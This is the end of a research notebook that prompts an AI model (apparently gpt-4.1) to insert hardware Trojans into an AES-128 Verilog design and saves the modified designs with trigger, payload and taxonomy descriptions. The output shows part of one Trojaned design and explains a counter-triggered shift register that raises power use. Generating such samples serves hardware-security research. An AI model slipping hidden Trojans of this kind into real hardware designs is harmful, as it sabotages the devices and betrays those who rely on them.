            "    // End Trojan Insertion\n",
            "\n",
            "    always @ (posedge clk)\n",
            "      if (rst) begin\n",
            "        s0 <= 128'd0;\n",
            "        k0 <= 128'd0;\n",
            "      end else begin\n",
            "        s0 <= state ^ key;\n",
            "        k0 <= key;\n",
            "      end\n",
            "\n",
            "    expand_key_128\n",
            "        a1 (clk, rst, k0, k1, k0b, 8'h1),\n",
            "        a2 (clk, rst, k1, k2, k1b, 8'h2),\n",
            "        a3 (clk, rst, k2, k3, k2b, 8'h4),\n",
            "        a4 (clk, rst, k3, k4, k3b, 8'h8),\n",
            "        a5 (clk, rst, k4, k5, k4b, 8'h10),\n",
            "        a6 (clk, rst, k5, k6, k5b, 8'h20),\n",
            "        a7 (clk, rst, k6, k7, k6b, 8'h40),\n",
            "        a8 (clk, rst, k7, k8, k7b, 8'h80),\n",
            "        a9 (clk, rst, k8, k9, k8b, 8'h1b),\n",
            "       a10 (clk, rst, k9,   , k9b, 8'h36);\n",
            "\n",
            "    one_round\n",
            "        r1 (clk, rst, s0, k0b, s1),\n",
            "        r2 (clk, rst, s1, k1b, s2),\n",
            "        r3 (clk, rst, s2, k2b, s3),\n",
            "        r4 (clk, rst, s3, k3b, s4),\n",
            "        r5 (clk, rst, s4, k4b, s5),\n",
            "        r6 (clk, rst, s5, k5b, s6),\n",
            "        r7 (clk, rst, s6, k6b, s7),\n",
            "        r8 (clk, rst, s7, k7b, s8),\n",
            "        r9 (clk, rst, s8, k8b, s9);\n",
            "\n",
            "    final_round\n",
            "        rf (clk, rst, s9, k9b, out);\n",
            "endmodule\n",
            "\n",
            "module expand_key_128(clk, rst, in, out_1, out_2, rcon);\n",
            "    input              clk;\n",
            "    input              rst; // Synchronized reset for consistency\n",
            "    input      [127:0] in;\n",
            "    input      [7:0]   rcon;\n",
            "    output reg [127:0] out_1;\n",
            "    output     [127:0] out_2;\n",
            "    wire       [31:0]  k0, k1, k2, k3,\n",
            "                       v0, v1, v2, v3;\n",
            "    reg        [31:0]  k0a, k1a, k2a, k3a;\n",
            "    wire       [31:0]  k0b, k1b, k2b, k3b, k4a;\n",
            "\n",
            "    assign {k0, k1, k2, k3} = in;\n",
            "    \n",
            "    assign v0 = {k0[31:24] ^ rcon, k0[23:0]};\n",
            "    assign v1 = v0 ^ k1;\n",
            "    assign v2 = v1 ^ k2;\n",
            "    assign v3 = v2 ^ k3;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        if (rst)\n",
            "            {k0a, k1a, k2a, k3a} <= 128'd0;\n",
            "        else\n",
            "            {k0a, k1a, k2a, k3a} <= {v0, v1, v2, v3};\n",
            "\n",
            "    S4\n",
            "        S4_0 (clk, rst, {k3[23:0], k3[31:24]}, k4a);\n",
            "\n",
            "    assign k0b = k0a ^ k4a;\n",
            "    assign k1b = k1a ^ k4a;\n",
            "    assign k2b = k2a ^ k4a;\n",
            "    assign k3b = k3a ^ k4a;\n",
            "\n",
            "    always @ (posedge clk)\n",
            "        if (rst)\n",
            "            out_1 <= 128'd0;\n",
            "        else\n",
            "            out_1 <= {k0b, k1b, k2b, k3b};\n",
            "\n",
            "    assign out_2 = {k0b, k1b, k2b, k3b};\n",
            "endmodule\n",
            "\n",
            "// All downstream modules are assumed to be similarly modified for reset\n",
            "// For brevity, their code is omitted, but reset should be added to one_round, final_round, and S4.\n",
            "```\n",
            "\n",
            "Explanation:\n",
            "A 16-bit counter and a flag were added to trigger the Trojan after 50,000 cycles, at which point a 128-bit shift register runs continuously to increase switching activity and power consumption. All original cryptographic functionality remains unchanged.\n",
            "\n",
            "Trigger:\n",
            "The Trojan activates when an internal counter reaches 50,000 active (non-reset) clock cycles, independent of AES functionality or external signals.\n",
            "\n",
            "Payload:\n",
            "Once triggered, the Trojan continuously shifts a 128-bit register using feedback, creating unnecessary switching to elevate dynamic power without impacting AES operation or outputs.\n",
            "\n",
            "Taxonomy:\n",
            "Insertion phase: Design  \n",
            "Abstraction level: Register-transfer level  \n",
            "Activation mechanism: Triggered internally (counter-based)  \n",
            "Effects: performance degradation  \n",
            "Location: Power Supply/Logic Core  \n",
            "Characteristics: Distributed, Small, Parametric (power-based) Trojan\n",
            "Saving vulnerable design to: aes/gpt-4.1/aes_128/aes_128_HT4_gpt-4.1_A1.v\n",
            "Saving vulnerability description to: aes/gpt-4.1/aes_128/aes_128_HT4_gpt-4.1_A1_taxonomy.txt\n"
          ]
        }
      ],
      "source": [
        "def main(version_number):\n",
        "    base_designs_directory = \"/content\"  # Adjust path as needed\n",
        "    vulnerable_designs_directory = \"aes\"  # Adjust path as needed\n",
        "\n",
        "    print(f\"Vulnerable designs directory: {os.path.abspath(vulnerable_designs_directory)}\")\n",
        "    print(f\"Directory exists: {os.path.exists(vulnerable_designs_directory)}\")\n",
        "\n",
        "    base_designs = load_base_designs(base_designs_directory+\"/\"+vulnerable_designs_directory)\n",
        "\n",
        "    for design_name, design in base_designs:\n",
        "        for vulnerability_id, vulnerability in vulnerabilities.items():\n",
        "            prompting_strategy = prompting_strategies[vulnerability_id]\n",
        "            prompt = construct_prompt(design, vulnerability, prompting_strategy)\n",
        "\n",
        "            response_text, model_name = model_inference(prompt)\n",
        "            print(response_text)\n",
        "\n",
        "            verilog_code, explanation, trigger, payload, taxonomy = extract_code_and_metadata(response_text)\n",
        "\n",
        "            # print(f\"Saving design: {design_name}\")\n",
        "            # print(f\"Vulnerability ID: {vulnerability_id}\")\n",
        "            # print(f\"Model name: {model_name}\")\n",
        "\n",
        "            try:\n",
        "                save_vulnerable_design(design_name, verilog_code, vulnerable_designs_directory, vulnerability_id, model_name, version_number)\n",
        "                save_vulnerability_description(design_name, vulnerable_designs_directory, vulnerability_id, explanation, trigger, payload, taxonomy, model_name, version_number)\n",
        "            except Exception as e:\n",
        "                print(f\"Error saving files: {str(e)}\")\n",
        "                print(f\"Design name: {design_name}\")\n",
        "                print(f\"Vulnerability ID: {vulnerability_id}\")\n",
        "                print(f\"Model name: {model_name}\")\n",
        "                print(f\"Attempt number: {version_number}\")\n",
        "                raise  # Re-raise the exception to stop execution\n",
        "\n",
        "    # print(f\"Attempt {version_number}: Vulnerable designs and descriptions generated successfully!\")\n",
        "\n",
        "# Run the main function with the desired attempt number\n",
        "for attempt in range(1, 2):  # Run 1 attempt for now\n",
        "    main(version_number=attempt)"
      ]
    }
  ],
  "metadata": {
    "colab": {
      "provenance": []
    },
    "kernelspec": {
      "display_name": "Python 3",
      "name": "python3"
    },
    "language_info": {
      "name": "python"
    }
  },
  "nbformat": 4,
  "nbformat_minor": 0
}
